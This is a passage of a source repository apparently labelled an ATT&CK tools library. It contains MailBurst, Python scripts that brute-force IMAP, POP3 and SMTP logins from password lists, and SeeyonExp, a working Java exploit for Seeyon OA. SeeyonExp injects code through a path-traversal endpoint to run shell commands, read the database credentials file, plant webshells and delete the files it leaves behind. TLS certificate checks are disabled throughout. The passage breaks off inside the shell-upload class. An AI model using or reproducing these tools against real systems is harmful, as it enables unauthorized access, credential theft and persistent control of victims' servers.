40 |             imapServer.login_cram_md5(username, password)
41 |             print("[-]密码正确" + "账户名:" + username + "密码:" + password)
42 |         except:
43 |             print("[-]错误信息:密码错误!")
44 | threadLock = threading.Lock()
45 | loop = asyncio.get_event_loop()


--------------------------------------------------------------------------------
/MailBurst/lib/pop3Brust.py:
--------------------------------------------------------------------------------
 1 | # -*- coding: utf-8 -*-
 2 | import poplib
 3 | import threading
 4 | import asyncio
 5 | 
 6 | class pop3Brust(threading.Thread):
 7 |     def __init__(self,mailAddr, mailPort, userLines, passLines):
 8 |         threading.Thread.__init__(self)
 9 |         self.mailAddr = mailAddr
10 |         self.mailPort = mailPort
11 |         self.userLines = userLines
12 |         self.passLines = passLines
13 |     def run(self):
14 |         try:
15 |             poplib.POP3(self.mailAddr, self.mailPort)
16 |         except:
17 |             print("[-]错误信息:服务器错误！")
18 |             return 1
19 |         if len(self.userLines) < 1 or len(self.passLines) < 1:
20 |             print("[-]错误信息:字典文件中无内容，请检查！")
21 |             return 1
22 |         for index in range(len(self.userLines)):
23 |             for i in range(len(self.passLines)):
24 |                 threadLock.acquire()
25 |                 loop.run_until_complete(login(self.mailAddr,self.mailPort, self.userLines[index], self.passLines[i]))
26 |                 threadLock.release()
27 |                 continue
28 | async def login(mailAddr,mailPort,username,password):
29 |     try:
30 |         username = username.replace("\n", "")
31 |         password = password.replace("\n", "")
32 |         pop3Server = await poplib.POP3(mailAddr, mailPort)
33 |         pop3Server.user(username)
34 |         pop3Server.pass_(password)
35 |         print("[-]密码正确" + "账户名:" + username + "密码:" + password)
36 |     except:
37 |         print("[-]错误信息:密码错误!")
38 | threadLock = threading.Lock()
39 | loop = asyncio.get_event_loop()


--------------------------------------------------------------------------------
/MailBurst/lib/pop3sBurst.py:
--------------------------------------------------------------------------------
 1 | # -*- coding: utf-8 -*-
 2 | import poplib
 3 | import threading
 4 | import asyncio
 5 | 
 6 | class pop3sBrust(threading.Thread):
 7 |     def __init__(self,mailAddr, mailPort, userLines, passLines):
 8 |         threading.Thread.__init__(self)
 9 |         self.mailAddr = mailAddr
10 |         self.mailPort = mailPort
11 |         self.userLines = userLines
12 |         self.passLines = passLines
13 |     def run(self):
14 |         try:
15 |             poplib.POP3_SSL(self.mailAddr, self.mailPort)
16 |         except:
17 |             print("[-]错误信息:服务器错误！")
18 |             return 1
19 |         if len(self.userLines) < 1 or len(self.passLines) < 1:
20 |             print("[-]错误信息:字典文件中无内容，请检查！")
21 |             return 1
22 |         for index in range(len(self.userLines)):
23 |             for i in range(len(self.passLines)):
24 |                 threadLock.acquire()
25 |                 loop.run_until_complete(login(self.mailAddr,self.mailPort, self.userLines[index], self.passLines[i]))
26 |                 threadLock.release()
27 |                 continue
28 | async def login(mailAddr,mailPort,username,password):
29 |     try:
30 |         username = username.replace("\n", "")
31 |         password = password.replace("\n", "")
32 |         pop3Server = await poplib.POP3_SSL(mailAddr, mailPort)
33 |         pop3Server.user(username)
34 |         pop3Server.pass_(password)
35 |         print("[-]密码正确" + "账户名:" + username + "密码:" + password)
36 |     except:
37 |         print("[-]错误信息:密码错误!")
38 | threadLock = threading.Lock()
39 | loop = asyncio.get_event_loop()


--------------------------------------------------------------------------------
/MailBurst/lib/smtpBurst.py:
--------------------------------------------------------------------------------
 1 | # -*- coding: utf-8 -*-
 2 | import smtplib
 3 | import threading
 4 | import asyncio
 5 | import time
 6 | 
 7 | 
 8 | class smtpBurst(threading.Thread):
 9 |     def __init__(self, mailAddr, mailPort, userLines, passLines):
10 |         threading.Thread.__init__(self)
11 |         self.mailAddr = mailAddr
12 |         self.mailPort = mailPort
13 |         self.userLines = userLines
14 |         self.passLines = passLines
15 | 
16 |     def run(self):
17 |         try:
18 |             smtplib.SMTP(self.mailAddr, self.mailPort)
19 |         except:
20 |             print("[-]错误信息:服务器错误！")
21 |             return 1
22 |         if len(self.userLines) < 1 or len(self.passLines) < 1:
23 |             print("[-]错误信息:字典文件中无内容，请检查！")
24 |             return 1
25 |         for index in range(len(self.userLines)):
26 |             for i in range(len(self.passLines)):
27 |                 threadLock.acquire()
28 |                 loop.run_until_complete(login(self.mailAddr, self.mailPort, self.userLines[index], self.passLines[i]))
29 |                 threadLock.release()
30 |                 continue
31 | 
32 | 
33 | async def login(mailAddr, mailPort, username, password):
34 |     try:
35 |         username = username.replace("\n", "")
36 |         password = password.replace("\n", "")
37 |         smtpServer = await smtplib.SMTP(mailAddr, mailPort)
38 |         smtpServer.login(username, password)
39 |         print("[-]密码正确" + "账户名:" + username + "密码:" + password)
40 |     except:
41 |         print("[-]错误信息:密码错误!")
42 | 
43 | 
44 | threadLock = threading.Lock()
45 | loop = asyncio.get_event_loop()
46 | 


--------------------------------------------------------------------------------
/MailBurst/lib/smtpsBrust.py:
--------------------------------------------------------------------------------
 1 | # -*- coding: utf-8 -*-
 2 | import smtplib
 3 | import threading
 4 | import asyncio
 5 | 
 6 | class smtpsBurst(threading.Thread):
 7 |     def __init__(self, mailAddr, mailPort, userLines, passLines):
 8 |         threading.Thread.__init__(self)
 9 |         self.mailAddr = mailAddr
10 |         self.mailPort = mailPort
11 |         self.userLines = userLines
12 |         self.passLines = passLines
13 |     def run(self):
14 |         try:
15 |             smtplib.SMTP_SSL(self.mailAddr, self.mailPort)
16 |         except:
17 |             print("[-]错误信息:服务器错误！")
18 |             return 1
19 |         if len(self.userLines) < 1 or len(self.passLines) < 1:
20 |             print("[-]错误信息:字典文件中无内容，请检查！")
21 |             return 1
22 |         for index in range(len(self.userLines)):
23 |             for i in range(len(self.passLines)):
24 |                 threadLock.acquire()
25 |                 loop.run_until_complete(login(self.mailAddr, self.mailPort, self.userLines[index], self.passLines[i]))
26 |                 threadLock.release()
27 |                 continue
28 | 
29 | async def login(mailAddr, mailPort, username, password):
30 |     try:
31 |         username = username.replace("\n", "")
32 |         password = password.replace("\n", "")
33 |         smtpServer = await smtplib.SMTP_SSL(mailAddr, mailPort)
34 |         smtpServer.login(username, password)
35 |         print("[-]密码正确" + "账户名:" + username + "密码:" + password)
36 |     except:
37 |         print("[-]错误信息:密码错误!")
38 | threadLock = threading.Lock()
39 | loop = asyncio.get_event_loop()


--------------------------------------------------------------------------------
/PIC/BkG.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TimelineSec/ATTCK-Tools-library/b500087c3b5092f1632169e574366b7cd9a86902/PIC/BkG.jpg


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # ATT-CK-Tools-library
2 | 
3 | ![](./PIC/BkG.jpg)
4 | 
5 | # 声明
6 | 本项目工具仅供测试使用，请勿用于违法用途，否则后果自负！
7 | 


--------------------------------------------------------------------------------
/SeeyonExp/README.md:
--------------------------------------------------------------------------------
 1 | # SeeyonExp
 2 | 
 3 | ### 0x00 开发日志
 4 | 
 5 | 2021-3-13 V0.9 增加多个受影响版本，修复HTTPS无法指定端口bug
 6 | 
 7 | 2021-2-2 V0.8 新增影响版本v6.1
 8 | 
 9 | 2021-1-10 V0.7 增加识别版本后无损检测漏洞功能，有那么点漏扫的意思
10 | 
11 | 2020-11-11 V0.6 增加数据库配置文件读取功能
12 | 
13 | 2020-11-10 V0.5 增加回显流量加密功能，Base64与ascii结合，Base65
14 | 
15 | 2020-11-2 V0.4 解决命令执行for循环无法执行for之后Java代码的bug，分号的神奇作用
16 | 
17 | 2020-10-30 V0.3 增加文件上传功能，Base64不编码写入不了，黑名单校验
18 | 
19 | 2020-10-22 V0.2 命令可以在windows与Linux下执行，并支持https
20 | 
21 | 2020-10-20 V0.1 根据POC写出初步利用，可以执行命令，但是仅在windows与http下
22 | 
23 | ### 0x01 使用方法
24 | 
25 | 无损检验是否存在漏洞：java -jar seeyon.jar scan http/https://xxxx.com:port/seeyon 
26 | 
27 | 执行命令：java -jar seeyon.jar http/https://xxxx.com:port/seeyon cmd 
28 | 
29 | 写入shell：java -jar seeyon.jar http/https://xxxx.com:port/seeyon shell srcFile desFile 
30 | 
31 | 读取数据库配置文件：java -jar seeyon.jar http/https://xxxx.com:port/seeyon dataConf 
32 | 
33 | 流量解码：java -jar seeyon.jar decode ciphertext 
34 | 
35 | 流量编码：java -jar seeyon.jar encode Plaintext
36 | 
37 | 使用参考：https://mp.weixin.qq.com/s/NKksirrM5Zg5BGCu4fY8LQ
38 | 


--------------------------------------------------------------------------------
/SeeyonExp/pom.xml:
--------------------------------------------------------------------------------
 1 | <?xml version="1.0" encoding="UTF-8"?>
 2 | <project xmlns="http://maven.apache.org/POM/4.0.0"
 3 |          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 4 |          xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
 5 |     <modelVersion>4.0.0</modelVersion>
 6 | 
 7 |     <groupId>groupId</groupId>
 8 |     <artifactId>Seeyon</artifactId>
 9 |     <version>1.0-SNAPSHOT</version>
10 |     <build>
11 |         <plugins>
12 |             <plugin>
13 |                 <groupId>org.apache.maven.plugins</groupId>
14 |                 <artifactId>maven-compiler-plugin</artifactId>
15 |                 <configuration>
16 |                     <source>7</source>
17 |                     <target>7</target>
18 |                 </configuration>
19 |             </plugin>
20 |         </plugins>
21 |     </build>
22 |     <dependencies>
23 |     <dependency>
24 |         <groupId>commons-codec</groupId>
25 |         <artifactId>commons-codec</artifactId>
26 |         <version>1.15</version>
27 |     </dependency>
28 |         <dependency>
29 |             <groupId>org.apache.httpcomponents</groupId>
30 |             <artifactId>httpclient</artifactId>
31 |             <version>4.5.13</version>
32 |         </dependency>
33 |         <dependency>
34 |             <groupId>org.json</groupId>
35 |             <artifactId>json</artifactId>
36 |             <version>20180813</version>
37 |         </dependency>
38 |     </dependencies>
39 | </project>


--------------------------------------------------------------------------------
/SeeyonExp/src/META-INF/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Main-Class: ExpMain
3 | 
4 | 


--------------------------------------------------------------------------------
/SeeyonExp/src/main/META-INF/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Main-Class: ExpMain
3 | 
4 | 


--------------------------------------------------------------------------------
/SeeyonExp/src/main/java/DataConf.java:
--------------------------------------------------------------------------------
 1 | import java.util.UUID;
 2 | 
 3 | public class DataConf {
 4 |     public void DataConf(String oaUrl) throws Exception {
 5 |         HTTPClient httpClient = new HTTPClient();
 6 |         String realUrl = oaUrl + "/autoinstall.do.css/..;/ajax.do?method=ajaxAction&managerName=formulaManager&requestCompress=gzip";
 7 |         UUID uuid = UUID.randomUUID();
 8 |         String uuidStr = uuid.toString();
 9 |         uuidStr = uuidStr.replace("-", "");
10 |         String getUrl = oaUrl + "/" + uuidStr + ".txt";
11 |         String uuidTxt = "../webapps/seeyon/" + uuidStr + ".txt";
12 |         String winDel = "cd ../webapps/seeyon&del "+uuidStr+".txt";
13 |         String linuxDel = "cd ../webapps/seeyon;rm -f " +uuidStr+".txt";
14 |         String winReadDadaConf = "cd ../../base/conf & type datasourceCtp.properties";
15 |         String linReadDadaConf = "cat ../../base/conf/datasourceCtp.properties";
16 |         String execString = "[{'formulaType':1,'formulaName':'test','formulaExpression':'Properties prop = System.getProperties(); String os = prop.getProperty(\"os.name\");Process pc = null;if (os.startsWith(\"win\") || os.startsWith(\"Win\")){ProcessBuilder pb=new ProcessBuilder(\"cmd\",\"/c\",\"" + winReadDadaConf + "\");pc =pb.start();}else{ProcessBuilder pb=new ProcessBuilder(\"/bin/sh\",\"-c\",\"" + linReadDadaConf + "\");pc = pb.start();};java.io.BufferedReader br = new java.io.BufferedReader(new InputStreamReader(pc.getInputStream(),\"GBK\"));String line = \"\";StringBuilder sb = new StringBuilder();while((line = br.readLine())!=null){sb.append(line+\"\\\\n\");};br.close();String sbStr = sb.toString();System.out.println(sbStr);sun.misc.BASE64Encoder encoder=new sun.misc.BASE64Encoder();byte[] enByte = sbStr.getBytes(\"UTF-8\");String enStr = encoder.encode(enByte);char[] enChar = enStr.toCharArray();String Base65 = \"\";for (int i=0;i<enChar.length;i++){ int intCh = (int)enChar[i]+1;Base65 = Base65 + Integer.toHexString(intCh); };java.io.FileWriter writer = new java.io.FileWriter(\""+uuidTxt+"\");writer.write(Base65);writer.flush();writer.close();};test();def static xxx(){'},'',{},'true']";
17 |         String execUrl = new Encoder().Encoder(execString);
18 |         String execExp = "managerMethod=validate&arguments=" + execUrl;
19 |         //删除回显文件payload
20 |         //java文件删除无法删除文件，应该是权限不够
21 |         //String delString = "[{'formulaType':1,'formulaName':'test','formulaExpression':'java.io.File file=new java.io.File(\""+uuidTxt+"\");file.delete();};test();def static xxx(){'},'',{},'true']";
22 |         String delString = "[{'formulaType':1,'formulaName':'test','formulaExpression':'Properties prop = System.getProperties(); String os = prop.getProperty(\"os.name\");if (os.startsWith(\"win\") || os.startsWith(\"Win\")){ProcessBuilder pb=new ProcessBuilder(\"cmd\",\"/c\",\""+winDel+"\");Process process = pb.start();}else{ProcessBuilder pb=new ProcessBuilder(\"/bin/sh\",\"-c\",\""+linuxDel+"\");Process process = pb.start();}};test();def static xxx(){'},'',{},'true']";
23 |         String expDelUrl = new Encoder().Encoder(delString);
24 |         String expDel = "managerMethod=validate&arguments=" + expDelUrl;
25 |         System.out.println(execExp);
26 |         //执行的顺序为，写入回显文件，得到回显文件内容，删除回显文件
27 |         httpClient.sendPost(realUrl,execExp);
28 |         Thread.sleep(2 * 1000);
29 |         httpClient.getRes(getUrl);
30 |         Thread.sleep(2 * 1000);
31 |         httpClient.doDel(getUrl,expDel);
32 |     }
33 | }
34 | 


--------------------------------------------------------------------------------
/SeeyonExp/src/main/java/Decoder.java:
--------------------------------------------------------------------------------
 1 | import java.io.ByteArrayInputStream;
 2 | import java.io.ByteArrayOutputStream;
 3 | import java.io.IOException;
 4 | import java.net.URLDecoder;
 5 | import java.util.zip.GZIPInputStream;
 6 | 
 7 | public class Decoder {
 8 |     public String Decoder(String decodeStr) throws IOException {
 9 |         ByteArrayOutputStream byteOut = new ByteArrayOutputStream();
10 |         decodeStr = URLDecoder.decode(decodeStr,"UTF-8");
11 |         ByteArrayInputStream byteIn = new ByteArrayInputStream(decodeStr.getBytes("iso-8859-1"));
12 |         GZIPInputStream gzipInput = new GZIPInputStream(byteIn);
13 |         byte[] buffer = new byte[1024];
14 |         int n;
15 |         while ((n=gzipInput.read(buffer))>=0){
16 |             byteOut.write(buffer,0,n);
17 |         }
18 |         return byteOut.toString();
19 |     }
20 | }
21 | 


--------------------------------------------------------------------------------
/SeeyonExp/src/main/java/Encoder.java:
--------------------------------------------------------------------------------
 1 | import java.io.ByteArrayOutputStream;
 2 | import java.io.IOException;
 3 | import java.net.URLEncoder;
 4 | import java.util.zip.GZIPOutputStream;
 5 | 
 6 | public class Encoder {
 7 | 
 8 |     public String Encoder(String encodeStr) throws IOException {
 9 |         ByteArrayOutputStream byteOut = new ByteArrayOutputStream();
10 |         GZIPOutputStream gzipOut = new GZIPOutputStream(byteOut);
11 |         gzipOut.write(encodeStr.getBytes("UTF-8"));
12 |         gzipOut.close();
13 |         gzipOut.flush();
14 |         String gzipEnStr  = byteOut.toString("iso-8859-1");
15 |         return URLEncoder.encode(gzipEnStr,"UTF-8");
16 |     }
17 | }
18 | 


--------------------------------------------------------------------------------
/SeeyonExp/src/main/java/ExecuteCode.java:
--------------------------------------------------------------------------------
 1 | import java.util.UUID;
 2 | 
 3 | public class ExecuteCode {
 4 |     public void ExecuteCode(String oaUrl,String cmd) throws Exception {
 5 |         HTTPClient httpClient = new HTTPClient();
 6 |         UUID uuid = UUID.randomUUID();
 7 |         String uuidStr = uuid.toString();
 8 |         uuidStr = uuidStr.replace("-", "");
 9 |         String realUrl = oaUrl + "/autoinstall.do.css/..;/ajax.do?method=ajaxAction&managerName=formulaManager&requestCompress=gzip";
10 |         String getUrl = oaUrl + "/" + uuidStr + ".txt";
11 |         String uuidTxt = "../webapps/seeyon/" + uuidStr + ".txt";
12 |         String winDel = "cd ../webapps/seeyon&del "+uuidStr+".txt";
13 |         String linuxDel = "cd ../webapps/seeyon;rm -f " +uuidStr+".txt";
14 |         //执行命令
15 |         String execString = "[{'formulaType':1,'formulaName':'test','formulaExpression':'Properties prop = System.getProperties(); String os = prop.getProperty(\"os.name\");Process pc = null;if (os.startsWith(\"win\") || os.startsWith(\"Win\")){ProcessBuilder pb=new ProcessBuilder(\"cmd\",\"/c\",\"" + cmd + "\");pc =pb.start();}else{ProcessBuilder pb=new ProcessBuilder(\"/bin/sh\",\"-c\",\"" + cmd + "\");pc = pb.start();};java.io.BufferedReader br = new java.io.BufferedReader(new InputStreamReader(pc.getInputStream(),\"GBK\"));String line = \"\";StringBuilder sb = new StringBuilder();while((line = br.readLine())!=null){sb.append(line+\"\\\\n\");};br.close();String sbStr = sb.toString();sun.misc.BASE64Encoder encoder=new sun.misc.BASE64Encoder();byte[] enByte = sbStr.getBytes(\"UTF-8\");String enStr = encoder.encode(enByte);char[] enChar = enStr.toCharArray();String Base65 = \"\";for (int i=0;i<enChar.length;i++){ int intCh = (int)enChar[i]+1;Base65 = Base65 + Integer.toHexString(intCh); };java.io.FileWriter writer = new java.io.FileWriter(\""+uuidTxt+"\");writer.write(Base65);writer.flush();writer.close();};test();def static xxx(){'},'',{},'true']";
16 |         System.out.println(execString);
17 |         String execUrl = new Encoder().Encoder(execString);
18 |         String execExp = "managerMethod=validate&arguments=" + execUrl;
19 |         System.out.println(execExp);
20 |         //删除命令回显文件
21 |         String delString = "[{'formulaType':1,'formulaName':'test','formulaExpression':'Properties prop = System.getProperties(); String os = prop.getProperty(\"os.name\");if (os.startsWith(\"win\") || os.startsWith(\"Win\")){ProcessBuilder pb=new ProcessBuilder(\"cmd\",\"/c\",\""+winDel+"\");Process process = pb.start();}else{ProcessBuilder pb=new ProcessBuilder(\"/bin/sh\",\"-c\",\""+linuxDel+"\");Process process = pb.start();}};test();def static xxx(){'},'',{},'true']";
22 |         String execDel = new Encoder().Encoder(delString);
23 |         execDel = "managerMethod=validate&arguments=" + execDel;
24 | 
25 |         httpClient.sendPost(realUrl,execExp);
26 |         Thread.sleep(2 * 1000);
27 |         httpClient.getRes(getUrl);
28 |         Thread.sleep(2 * 1000);
29 |         httpClient.doDel(realUrl,execDel);
30 |     }
31 | }
32 | 


--------------------------------------------------------------------------------
/SeeyonExp/src/main/java/ExpMain.java:
--------------------------------------------------------------------------------
 1 | public class ExpMain {
 2 |     public static void main(String args[]) throws Exception {
 3 |         if (args.length == 2 && !args[1].equals("dataConf") && !args[0].equals("scan") && !args[0].equals("encode") && !args[0].equals("decode")) {
 4 |             System.out.println("[*]正在执行......, 漏洞影响版本：V7.1、V8.0");
 5 |             new ExecuteCode().ExecuteCode(args[0],args[1]);
 6 |         } else if (args.length == 2 && args[1].equals("dataConf")) {
 7 |             System.out.println("[*]正在执行......, 漏洞影响版本：V7.1、V8.0");
 8 |             new DataConf().DataConf(args[0]);
 9 |         } else if (args.length == 4 && args[1].equals("shell")) {
10 |             System.out.println("[*]正在执行......, 漏洞影响版本：V7.1、V8.0");
11 |             new UploadShell().UploadShell(args[0],args[2],args[3]);
12 |         } else if (args.length == 2 && args[0].equals("scan")){
13 |             System.out.println("[*]正在执行......, 漏洞影响版本：V7.1、V8.0");
14 |             if (args[1].contains("http:") || args[1].contains("https:")){
15 |                 VersionRecognition versionRecognition = new VersionRecognition();
16 |                 versionRecognition.VersionRecognition(args[1]);
17 |             }
18 |         }else if (args.length == 2 && args[0].equals("encode")){
19 |             System.out.println("ciphertext：\n" +new Encoder().Encoder(args[1]));
20 |         }else if (args.length == 2 && args[0].equals("decode")){
21 |             System.out.println("Plaintext：\n" +new Decoder().Decoder(args[1]));
22 |         }else {
23 |             System.out.println("[*]使用说明：\n" +
24 |                     "[*]无损检验是否存在漏洞：scan http/https://xxxx.com:port/seeyon \n"+
25 |                     "[*]执行命令：http/https://xxxx.com:port/sxeeyon cmd\n" +
26 |                     "[*]写入shell：http/https://xxxx.com:port/seeyon  shell srcFile desFile，第三个参数为本地的shell文件，第四个参数为写入服务器的文件名\n" +
27 |                     "[*]读取数据库配置文件：http/https://xxxx.com:port/seeyon dataConf\n" +
28 |                     "[*]流量解码：decode ciphertext\n"+
29 |                     "[*]流量编码：encode Plaintext\n");
30 |             System.exit(0);
31 |         }
32 |     }
33 | }
34 | 
35 | 


--------------------------------------------------------------------------------
/SeeyonExp/src/main/java/HTTPClient.java:
--------------------------------------------------------------------------------
  1 | import org.apache.http.HttpResponse;
  2 | import org.apache.http.client.HttpClient;
  3 | import org.apache.http.client.methods.CloseableHttpResponse;
  4 | import org.apache.http.client.methods.HttpGet;
  5 | import org.apache.http.client.methods.HttpPost;
  6 | import org.apache.http.client.utils.URIBuilder;
  7 | import org.apache.http.entity.StringEntity;
  8 | import org.apache.http.impl.client.CloseableHttpClient;
  9 | import org.apache.http.impl.client.DefaultHttpClient;
 10 | import org.apache.http.util.EntityUtils;
 11 | import sun.misc.BASE64Decoder;
 12 | 
 13 | import java.io.IOException;
 14 | 
 15 | public class HTTPClient {
 16 |     public String sendPost(String url, String param) throws Exception {
 17 |         if(url.startsWith("http:")){
 18 |             HttpPost httpPost = new HttpPost(url);
 19 |             StringEntity stringEntity = new StringEntity(param);
 20 |             stringEntity.setContentType("application/x-www-form-urlencoded");
 21 |             //httpPost.setHeader("Connection","close");
 22 |             httpPost.setEntity(stringEntity);
 23 |             HttpResponse response = new DefaultHttpClient().execute(httpPost);
 24 |             String result = EntityUtils.toString(response.getEntity());
 25 |             System.out.println(result);
 26 |             return result;
 27 |         }else{
 28 |             CloseableHttpClient client;
 29 |             URIBuilder uriBuilder = new URIBuilder(url);
 30 |             int port = uriBuilder.getPort();
 31 |             if (port != 443){
 32 |                 client = new SSLClient(uriBuilder.getPort());
 33 |             }else {
 34 |                 client = new SSLClient(443);
 35 |             }
 36 |             HttpPost httpPost = new HttpPost(uriBuilder.build());
 37 |             StringEntity stringEntity = new StringEntity(param);
 38 |             stringEntity.setContentType("application/x-www-form-urlencoded");
 39 |             //httpPost.setHeader("Connection","close");
 40 |             httpPost.setEntity(stringEntity);
 41 |             CloseableHttpResponse response = client.execute(httpPost);
 42 |             String result = EntityUtils.toString(response.getEntity());
 43 |             System.out.println(result);
 44 |             return result;
 45 |         }
 46 |     }
 47 |     //http与https 得到回显内容
 48 |     public String getRes(String url) throws Exception {
 49 |         String result;
 50 |         if (url.startsWith("http:")){
 51 |             HttpClient client = new DefaultHttpClient();
 52 |             HttpGet request = new HttpGet(url);
 53 |             //request.setHeader("Connection","close");
 54 |             HttpResponse response = client.execute(request);
 55 |             result = EntityUtils.toString(response.getEntity());
 56 |             if (result != null){
 57 |                 result = decode(result);
 58 |                 System.out.println(result);
 59 |             }
 60 |         }else {
 61 |             CloseableHttpClient client;
 62 |             URIBuilder uriBuilder = new URIBuilder(url);
 63 |             int port = uriBuilder.getPort();
 64 |             if (port != 443){
 65 |                 client = new SSLClient(uriBuilder.getPort());
 66 |             }else {
 67 |                 client = new SSLClient(443);
 68 |             }
 69 |             HttpGet httpGet = new HttpGet(uriBuilder.build());
 70 |             CloseableHttpResponse response = client.execute(httpGet);
 71 |             result = EntityUtils.toString(response.getEntity());
 72 |             if (result != null) {
 73 |                 result = decode(result);
 74 |                 System.out.println(result);
 75 |             }
 76 |         }
 77 |         return result;
 78 |     }
 79 |     //测试是否有
 80 |     //http与https 删除回显输出文件
 81 |     public  void doDel(String url,String param) throws Exception {
 82 |         if (url.startsWith("http:")){
 83 |             HttpPost httpPost = new HttpPost(url);
 84 |             httpPost.setHeader("Connection","close");
 85 |             StringEntity stringEntity = new StringEntity(param);
 86 |             stringEntity.setContentType("application/x-www-form-urlencoded");
 87 |             httpPost.setEntity(stringEntity);
 88 |             HttpClient client = new DefaultHttpClient();
 89 |             HttpResponse response = new DefaultHttpClient().execute(httpPost);
 90 |             if (response != null){
 91 |                 System.out.println("[*]命令执行完毕");
 92 |             }
 93 |         }else {
 94 |             CloseableHttpClient client;
 95 |             URIBuilder uriBuilder = new URIBuilder(url);
 96 |             int port = uriBuilder.getPort();
 97 |             if (port != 443){
 98 |                 client = new SSLClient(uriBuilder.getPort());
 99 |             }else {
100 |                 client = new SSLClient(443);
101 |             }
102 |             HttpPost httpPost = new HttpPost(uriBuilder.build());
103 |             httpPost.setHeader("Connection","close");
104 |             StringEntity stringEntity = new StringEntity(param);
105 |             stringEntity.setContentType("application/x-www-form-urlencoded");
106 |             httpPost.setEntity(stringEntity);
107 |             CloseableHttpResponse response = client.execute(httpPost);
108 |             if (response !=null){
109 |                 System.out.println("[*]命令执行完毕");
110 |             }
111 |         }
112 |     }
113 |     //BASE65解码模块
114 |     public String decode(String string) throws IOException {
115 |         BASE64Decoder decoder = new BASE64Decoder();
116 |         String deStr = "";
117 |         for(int i=0;i<string.length();i=i+2){
118 |             String str2 = string.substring(i,i+2);
119 |             char char2 = (char)(Integer.parseInt(str2,16)-1);
120 |             deStr = deStr + char2;
121 |         }
122 |         deStr = deStr.replaceAll("ê","");
123 |         String realStr = new String(decoder.decodeBuffer(deStr),"UTF-8");
124 |         return realStr;
125 |     }
126 | }
127 | 


--------------------------------------------------------------------------------
/SeeyonExp/src/main/java/JsonRead.java:
--------------------------------------------------------------------------------
 1 | import java.io.*;
 2 | import java.util.Iterator;
 3 | 
 4 | import org.json.JSONArray;
 5 | import org.json.JSONObject;
 6 | 
 7 | public class JsonRead {
 8 | 
 9 |     public JSONObject JsonRead() throws IOException {
10 |         String jsonString = "";
11 |         File jsonFile = new File("vul.json");
12 |         InputStreamReader reader = new InputStreamReader(new FileInputStream(jsonFile),"UTF-8");
13 |         String fileString = "";
14 |         BufferedReader bufferedReader = new BufferedReader(reader);
15 |         while ((fileString = bufferedReader.readLine())!= null){
16 |             jsonString = jsonString + fileString;
17 |         }
18 |         JSONObject jsonObject = new JSONObject(jsonString);
19 | 
20 |         JSONArray jsonArray = new JSONArray();
21 |         jsonArray = jsonObject.getJSONArray("Vulnerabilities");
22 |         return jsonArray.getJSONObject(0);
23 |     }
24 | }
25 | 


--------------------------------------------------------------------------------
/SeeyonExp/src/main/java/SSLClient.java:
--------------------------------------------------------------------------------
 1 | import java.security.cert.CertificateException;
 2 | import java.security.cert.X509Certificate;
 3 | import javax.net.ssl.SSLContext;
 4 | import javax.net.ssl.TrustManager;
 5 | import javax.net.ssl.X509TrustManager;
 6 | import org.apache.http.conn.ClientConnectionManager;
 7 | import org.apache.http.conn.scheme.Scheme;
 8 | import org.apache.http.conn.scheme.SchemeRegistry;
 9 | import org.apache.http.conn.ssl.SSLSocketFactory;
10 | import org.apache.http.impl.client.DefaultHttpClient;
11 | 
12 | public class SSLClient extends DefaultHttpClient {
13 | 
14 |     public SSLClient(int port) throws Exception{
15 |         super();
16 |         SSLContext ctx = SSLContext.getInstance("TLS");
17 |         X509TrustManager tm = new X509TrustManager() {
18 |             public void checkClientTrusted(X509Certificate[] chain,
19 |                                            String authType) throws CertificateException {
20 |             }
21 |             @Override
22 |             public void checkServerTrusted(X509Certificate[] chain,
23 |                                            String authType) throws CertificateException {
24 |             }
25 |             @Override
26 |             public X509Certificate[] getAcceptedIssuers() {
27 |                 return null;
28 |             }
29 |         };
30 |         ctx.init(null, new TrustManager[]{tm}, null);
31 |         SSLSocketFactory ssf = new SSLSocketFactory(ctx,SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
32 |         ClientConnectionManager ccm = this.getConnectionManager();
33 |         SchemeRegistry sr = ccm.getSchemeRegistry();
34 |         sr.register(new Scheme("https", port, ssf));
35 |     }
36 | }
37 | 


--------------------------------------------------------------------------------
/SeeyonExp/src/main/java/Scanner.java:
--------------------------------------------------------------------------------
 1 | public class Scanner{
 2 |     public String Scanner(String poc,String url,String method,String res) throws Exception {
 3 |         HTTPClient httpClient = new HTTPClient();
 4 |         String result = "";
 5 |         if (method.toLowerCase().equals("post")) {
 6 |             result = httpClient.sendPost(url, poc);
 7 |         } else {
 8 |             result = httpClient.getRes(url);
 9 |         }
10 |         if (result.contains(res)) {
11 |             return url + "\n[!]:漏洞存在";
12 |         } else {
13 |             return url + "\n[*]:漏洞不存在";
14 |         }
15 |     }
16 | }
17 | 


--------------------------------------------------------------------------------
/SeeyonExp/src/main/java/UploadShell.java:
--------------------------------------------------------------------------------
 1 | import java.io.*;
 2 | 
 3 | public class UploadShell {
 4 |     public void UploadShell(String oaUrl,String srcFile,String desFile) throws Exception {
 5 |         String dFile = desFile;
 6 |         HTTPClient httpClient = new HTTPClient();
 7 |         String realUrl = oaUrl + "/autoinstall.do.css/..;/ajax.do?method=ajaxAction&managerName=formulaManager&requestCompress=gzip";
 8 |         //payload编码
 9 |         InputStream is = new FileInputStream(srcFile);
10 |         desFile = "../webapps/seeyon/" + desFile;
11 |         String line;
12 |         String result = "";
13 |         BufferedReader reader = new BufferedReader(new InputStreamReader(is));
14 |         line = reader.readLine();
15 |         if (line == null){
16 |             System.out.println("[!]当前shell文件为空，请检查后重新运行程序！");
17 |         }else {
18 |             while (line != null){
19 |                 result = result + line;
20 |                 line = reader.readLine();
21 |             }
22 |             byte[] enByte = org.apache.commons.codec.binary.Base64.encodeBase64(result.getBytes());
23 |             String enString = new String(enByte);
24 |             enString ="\"" + enString+"\"";
25 |             String execString = "[{'formulaType':1,'formulaName':'test','formulaExpression':'String shell="+enString+";sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();java.io.FileWriter writer = new java.io.FileWriter(\""+desFile+"\");writer.write(new String(decoder.decodeBuffer(shell),\"UTF-8\"));writer.flush();writer.close();};test();def static xxx(){'},'',{},'true']";
26 |             String execUrl = new Encoder().Encoder(execString);
